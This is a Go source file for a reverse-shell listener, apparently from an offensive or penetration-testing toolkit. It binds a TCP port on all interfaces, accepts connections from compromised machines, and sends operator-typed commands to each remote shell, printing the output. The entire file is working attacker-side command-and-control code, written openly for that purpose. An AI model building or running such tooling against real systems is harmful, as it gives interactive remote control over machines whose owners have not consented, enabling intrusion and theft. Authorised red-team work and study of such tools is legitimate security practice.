package listener import ( "bufio" "fmt" "io" "net" "os" ) func handleConnection(conn net.Conn) { defer conn.Close() fmt.Println("Connection established. Interacting with reverse shell...") fmt.Println("Press enter once if prompt does not show up.") // Use bufio.NewReader for more interactive input handling reader := bufio.NewReader(os.Stdin) for { // Read command input interactively from the user fmt.Print("Shell> ") cmd, err := reader.ReadString('\n') // Read until Enter is pressed if err != nil { fmt.Println("Error reading command:", err) return } // Send the command to the reverse shell _, err = conn.Write([]byte(cmd)) if err != nil { fmt.Println("Error sending command:", err) return } // Read the response from the reverse shell buf := make([]byte, 1024) n, err := conn.Read(buf) if err != nil && err != io.EOF { fmt.Println("Error reading from connection:", err) return } // Print the reverse shell output fmt.Print(string(buf[:n])) } } func startListener(lhost, lport string) { listenAddress := fmt.Sprintf("%s:%s", lhost, lport) listener, err := net.Listen("tcp", listenAddress) if err != nil { fmt.Println("Error starting listener:", err) os.Exit(1) } defer listener.Close() fmt.Printf("Listening for reverse shell on %s:%s...\n", lhost, lport) // Accept incoming connections and handle them for { conn, err := listener.Accept() if err != nil { fmt.Println("Error accepting connection:", err) continue } // Handle the connection in a new goroutine go handleConnection(conn) } } func Listen(lport string) { // Listen on everything, lazy lhost := "0.0.0.0" startListener(lhost, lport) }